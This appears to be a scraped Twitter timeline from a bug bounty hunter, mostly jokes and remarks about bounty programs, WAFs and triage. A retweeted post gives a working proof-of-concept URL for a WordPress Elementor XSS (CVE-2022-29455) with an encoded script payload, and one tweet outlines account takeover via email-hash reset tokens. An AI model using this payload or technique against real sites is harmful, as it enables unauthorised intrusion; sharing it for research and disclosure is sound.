MrMustacheMan

[MrMustacheMan @MrMustacheMan3]

@Bugcrowd ..

[MrMustacheMan @MrMustacheMan3]

@x1unix @three_cube Well, thats obvious. That was the secret sauce 😂

[MrMustacheMan @MrMustacheMan3]

@AhmedMa07846126 @babz200 The X-XSS-Protection is deprecated, so definitely don't skip. This has nothing to do with the reason XSS doesn't work. See https://t.co/s6gB8SsFeb.

[MrMustacheMan @MrMustacheMan3]

@jobertabma Nice marketplace you got there :)

[Luis Madero @_Y000_]

Wordpress - XSS ( CVE-2022-29455)

/wp-content/plugins/elementor/assets/js/frontend.min.js

poc:

https://site/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoibnVsbCIsImh0bWwiOiI8c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0PiJ9Cg==

#xss #wordpress

[MrMustacheMan @MrMustacheMan3]

Developers: "Yes, using SHA2 is very safe. Using that for the reset token makes it impossible to hack!"

Me: "Finds out they use SHA2 to hash the user's email as reset token, mass account takeover"

Devs: (0o0)

True story from one of my tests the other day. Lovin' it

[MrMustacheMan @MrMustacheMan3]

People: AI is going to take over humanity!
AI:

[MrMustacheMan @MrMustacheMan3]

@intigriti @securinti Fun

[MrMustacheMan @MrMustacheMan3]

You've all heard of RFC 1149 (IP over avian carriers), but have you heard of RFC 2795?

https://t.co/jWD9Ug9ew5

[MrMustacheMan @MrMustacheMan3]

What does infosec twitter use for their personal blogs? Curious to learn about your implementations, kind of need to build one for my own

[MrMustacheMan @MrMustacheMan3]

@swajyadip @nav1n0x Correct me if im wrong, but afaik the choice of webserver has nothing to do with the backend database. You could have a fully flexing Nginx webserver and use PHP as backend language, and just select this header to be logged in the databsse (thus, creating a possibly dangerous sql

[MrMustacheMan @MrMustacheMan3]

@0xLupin @CryptoGangsta Let's gooooo

[MrMustacheMan @MrMustacheMan3]

@bughuntar Might not want to share payloads that directly drop tables (although unlikely theyll call it users). People use this, without knowing what the payload actuqlly does. Believe me, you will not mqke friends if you drop tables on a production env.

[MrMustacheMan @MrMustacheMan3]

@ThisIsDK999 @EA Knowing EA, the BBP is a DLC

[MrMustacheMan @MrMustacheMan3]

@remonsec Can you share the company? Imma need a new tablet :'')

[MrMustacheMan @MrMustacheMan3]

Does anyone know of a fun/good hacker meet in western Europe soon? Been planning to go to one, but i'm always late for some reason

[MrMustacheMan @MrMustacheMan3]

@Sander__VdB_ @intigriti @redbull Heart attack incoming. Congrats tho!

[MrMustacheMan @MrMustacheMan3]

Am I the only one that just does not accept program invites that are proxied through CF, Imperca or Akamai?

Don't get me wrong: Using it in normal situations is good. I'm just not planning on spending 5+ hours for a XSS bypass, because the company does not hand out Origin IPs.

[MrMustacheMan @MrMustacheMan3]

@_ayoubfathi_ Personally, I get most excited if companies have a "all we got" or nearly that scope. I can live with lower payouts, as long as the company responds quickly and I dont have to wait a week before triage.

[MrMustacheMan @MrMustacheMan3]

Update: Love this program already. Were honest and just rewarded a critical for this, even though i didnt have the "required" proof. Honest program members are the best 👌

[MrMustacheMan @MrMustacheMan3]

Finding API keys that lead to PII disclosure and reporting it is the most stressful thing. Only thing you think is "yea, dupe"

[MrMustacheMan @MrMustacheMan3]

So apparently this was no dupe, but the API key got revoked about 12 hours after reporting. Guess the fun part? I forgot to make screenshots. Lesson learned.